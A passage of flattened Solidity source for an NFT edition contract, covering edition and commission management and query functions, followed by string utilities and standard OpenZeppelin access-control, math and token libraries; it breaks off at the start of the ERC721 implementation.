require(_msgSender() == owner() || hasRole(ROLE_NOT_REAL, _msgSender()) || hasRole(ROLE_MARKET, _msgSender()));
editionNumberToEditionDetails[_editionNumber].endDate = _endDate;
}
function updateArtistsAccount(uint256 _editionNumber, address _artistAccount)
external
onlyIfNotReal
onlyRealEdition(_editionNumber) {
EditionDetails storage _originalEditionDetails = editionNumberToEditionDetails[_editionNumber];
uint256 editionArtistIndex = editionNumberToArtistIndex[_editionNumber];
// Get list of editions old artist works with
uint256[] storage editionNumbersForArtist = artistToEditionNumbers[_originalEditionDetails.artistAccount];
// Remove edition from artists lists
delete editionNumbersForArtist[editionArtistIndex];
// Add new artists to the list
uint256 newArtistsEditionIndex = artistToEditionNumbers[_artistAccount].length;
artistToEditionNumbers[_artistAccount].push(_editionNumber);
editionNumberToArtistIndex[_editionNumber] = newArtistsEditionIndex;
// Update the edition
_originalEditionDetails.artistAccount = _artistAccount;
}
function updateOptionalCommission(uint256 _editionNumber, uint256 _rate, address _recipient)
external
onlyIfNotReal
onlyRealEdition(_editionNumber) {
EditionDetails storage _editionDetails = editionNumberToEditionDetails[_editionNumber];
uint256 artistCommission = _editionDetails.artistCommission;
if (_rate > 0) {
require(_recipient != address(0));
}
require(artistCommission.add(_rate) <= 100);
editionNumberToOptionalCommissionSplit[_editionNumber] = CommissionSplit({rate : _rate, recipient : _recipient});
}
///////////////////
// Token Updates //
///////////////////
function setTokenURI(uint256 _tokenId, string calldata _uri)
external
onlyIfNotReal
onlyValidTokenId(_tokenId) {
_setTokenURI(_tokenId, _uri);
}
///////////////////
// Query Methods //
///////////////////
/**
* @dev Lookup the edition of the provided token ID
* @dev Returns 0 if not valid
*/
function editionOfTokenId(uint256 _tokenId) external view returns (uint256 _editionNumber) {
return tokenIdToEditionNumber[_tokenId];
}
/**
* @dev Lookup all editions added for the given edition type
* @dev Returns array of edition numbers, any zero edition ids can be ignore/stripped
*/
function editionsOfType(uint256 _type) external view returns (uint256[] memory _editionNumbers) {
return editionTypeToEditionNumber[_type];
}
/**
* @dev Lookup all editions for the given artist account
* @dev Returns empty list if not valid
*/
function artistsEditions(address _artistsAccount) external view returns (uint256[] memory _editionNumbers) {
return artistToEditionNumbers[_artistsAccount];
}
/**
* @dev Lookup all tokens minted for the given edition number
* @dev Returns array of token IDs, any zero edition ids can be ignore/stripped
*/
function tokensOfEdition(uint256 _editionNumber) external view returns (uint256[] memory _tokenIds) {
return editionNumberToTokenIds[_editionNumber];
}
/**
* @dev Lookup all owned tokens for the provided address
* @dev Returns array of token IDs
*/
function tokensOf(address _owner) external view returns (uint256[] memory _tokenIds) {
uint256[] memory results = new uint256[](balanceOf(_owner));
for (uint256 idx = 0; idx < results.length; idx++) {
results[idx] = tokenOfOwnerByIndex(_owner, idx);
}
return results;
}
/**
* @dev Checks to see if the edition exists, assumes edition of zero is invalid
*/
function editionExists(uint256 _editionNumber) external view returns (bool) {
if (_editionNumber == 0) {
return false;
}
EditionDetails storage editionNumber = editionNumberToEditionDetails[_editionNumber];
return editionNumber.editionNumber == _editionNumber;
}
/**
* @dev Checks to see if the token exists
*/
function exists(uint256 _tokenId) external view returns (bool) {
return _exists(_tokenId);
}
/**
* @dev Lookup any optional commission split set for the edition
* @dev Both values will be zero if not present
*/
function editionOptionalCommission(uint256 _editionNumber) external view returns (uint256 _rate, address _recipient) {
CommissionSplit storage commission = editionNumberToOptionalCommissionSplit[_editionNumber];
return (commission.rate, commission.recipient);
}
/**
* @dev Main entry point for looking up edition config/metadata
* @dev Reverts if invalid edition number provided
*/
function detailsOfEdition(uint256 editionNumber)
external view
onlyRealEdition(editionNumber)
returns (
bytes32 _editionData,
uint256 _editionType,
uint256 _startDate,
uint256 _endDate,
address _artistAccount,
uint256 _artistCommission,
uint256 _priceInWei,
string memory _tokenURI,
uint256 _totalSupply,
uint256 _totalAvailable,
bool _active
) {
EditionDetails storage _editionDetails = editionNumberToEditionDetails[editionNumber];
return (
_editionDetails.editionData,
_editionDetails.editionType,
_editionDetails.startDate,
_editionDetails.endDate,
_editionDetails.artistAccount,
_editionDetails.artistCommission,
_editionDetails.priceInWei,
StringsUtil.strConcat(tokenBaseURI, _editionDetails.tokenURI),
_editionDetails.totalSupply,
_editionDetails.totalAvailable,
_editionDetails.active
);
}
/**
* @dev Lookup a tokens common identifying characteristics
* @dev Reverts if invalid token ID provided
*/
function tokenData(uint256 _tokenId)
external view
onlyValidTokenId(_tokenId)
returns (
uint256 _editionNumber,
uint256 _editionType,
bytes32 _editionData,
string memory _tokenURI,
address _owner
) {
uint256 editionNumber = tokenIdToEditionNumber[_tokenId];
EditionDetails storage editionDetails = editionNumberToEditionDetails[editionNumber];
return (
editionNumber,
editionDetails.editionType,
editionDetails.editionData,
tokenURI(_tokenId),
ownerOf(_tokenId)
);
}
//////////////////////////
// Edition config query //
//////////////////////////
function purchaseDatesEdition(uint256 _editionNumber) public view returns (uint256 _startDate, uint256 _endDate) {
EditionDetails storage _editionDetails = editionNumberToEditionDetails[_editionNumber];
return (
_editionDetails.startDate,
_editionDetails.endDate
);
}
function artistCommission(uint256 _editionNumber) external view returns (address _artistAccount, uint256 _artistCommission) {
EditionDetails storage _editionDetails = editionNumberToEditionDetails[_editionNumber];
return (
_editionDetails.artistAccount,
_editionDetails.artistCommission
);
}
function priceInWeiEdition(uint256 _editionNumber) public view returns (uint256 _priceInWei) {
EditionDetails storage _editionDetails = editionNumberToEditionDetails[_editionNumber];
return _editionDetails.priceInWei;
}
function editionActive(uint256 _editionNumber) public view returns (bool) {
EditionDetails storage _editionDetails = editionNumberToEditionDetails[_editionNumber];
return _editionDetails.active;
}
function totalRemaining(uint256 _editionNumber) external view returns (uint256) {
EditionDetails storage _editionDetails = editionNumberToEditionDetails[_editionNumber];
return _editionDetails.totalAvailable.sub(_editionDetails.totalSupply);
}
function totalAvailableEdition(uint256 _editionNumber) public view returns (uint256) {
EditionDetails storage _editionDetails = editionNumberToEditionDetails[_editionNumber];
return _editionDetails.totalAvailable;
}
function totalSupplyEdition(uint256 _editionNumber) public view returns (uint256) {
EditionDetails storage _editionDetails = editionNumberToEditionDetails[_editionNumber];
return _editionDetails.totalSupply;
}
function reclaimEther() external onlyOwner {
payable(owner()).transfer(address(this).balance);
if (address(acceptedToken) != address(0)) {
acceptedToken.transfer(owner(), acceptedToken.balanceOf(address(this)));
}
}
}
pragma solidity ^0.6.12;
library StringsUtil {
// via https://github.com/provable-things/ethereum-api/blob/master/provableAPI_0.6.sol
function strConcat(string memory _a, string memory _b) internal pure returns (string memory _concatenatedString) {
return strConcat(_a, _b, "", "", "");
}
function strConcat(string memory _a, string memory _b, string memory _c) internal pure returns (string memory _concatenatedString) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory _concatenatedString) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
uint i = 0;
for (i = 0; i < _ba.length; i++) {
babcde[k++] = _ba[i];
}
for (i = 0; i < _bb.length; i++) {
babcde[k++] = _bb[i];
}
for (i = 0; i < _bc.length; i++) {
babcde[k++] = _bc[i];
}
for (i = 0; i < _bd.length; i++) {
babcde[k++] = _bd[i];
}
for (i = 0; i < _be.length; i++) {
babcde[k++] = _be[i];
}
return string(babcde);
}
function equal(string memory a, string memory b) internal pure returns (bool) {
return (keccak256(abi.encodePacked((a))) == keccak256(abi.encodePacked((b))));
}
// NOTE! If you don't make library functions internal, then you have to do annoying linking steps during migration
/**
* @dev Check if the name string is valid (Alphanumeric and spaces without leading or trailing space)
*/
function validateName(string memory str) internal pure returns (bool){
bytes memory b = bytes(str);
if(b.length < 1 ||
b.length > 25 || // Cannot be longer than 25 characters
b[0] == 0x20 || // Leading space
// Trailing space
b[b.length - 1] == 0x20) {
return false;
}
bytes1 lastChar = b[0];
for(uint i; i<b.length; i++){
bytes1 char = b[i];
if (char == 0x20 && lastChar == 0x20) return false; // Cannot contain continous spaces
if(
!(char >= 0x30 && char <= 0x39) && //9-0
!(char >= 0x41 && char <= 0x5A) && //A-Z
!(char >= 0x61 && char <= 0x7A) && //a-z
!(char == 0x20) //space
)
return false;
lastChar = char;
}
return true;
}
function toLower(string memory str) internal pure returns (string memory){
bytes memory bStr = bytes(str);
bytes memory bLower = new bytes(bStr.length);
for (uint i = 0; i < bStr.length; i++) {
// Uppercase character
if ((uint8(bStr[i]) >= 65) && (uint8(bStr[i]) <= 90)) {
bLower[i] = bytes1(uint8(bStr[i]) + 32);
} else {
bLower[i] = bStr[i];
}
}
return string(bLower);
}
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/EnumerableSet.sol";
import "../utils/Address.sol";
import "../utils/Context.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC721.sol";
import "./IERC721Metadata.sol";
import "./IERC721Enumerable.sol";
import "./IERC721Receiver.sol";
import "../../introspection/ERC165.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
import "../../utils/EnumerableSet.sol";
import "../../utils/EnumerableMap.sol";
import "../../utils/Strings.sol";
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
